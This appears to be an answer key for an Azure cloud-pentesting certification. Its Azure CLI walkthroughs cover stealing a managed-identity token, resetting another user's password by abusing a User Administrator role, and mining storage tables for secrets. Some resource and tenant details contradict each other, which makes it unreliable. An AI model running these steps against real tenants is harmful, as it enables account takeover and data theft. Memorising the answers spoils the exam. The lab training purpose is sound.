CCPenX-Az Certified Cloud Pentesting eXpert - Azure Questions and Answers

finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

The response contains:

{

" access_token " : " < jwt-token > " ,

" resource " : " https://management.azure.com/ " ,

" token_type " : " Bearer "

}

Correct option:

B. https://management.azure.com/

================

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================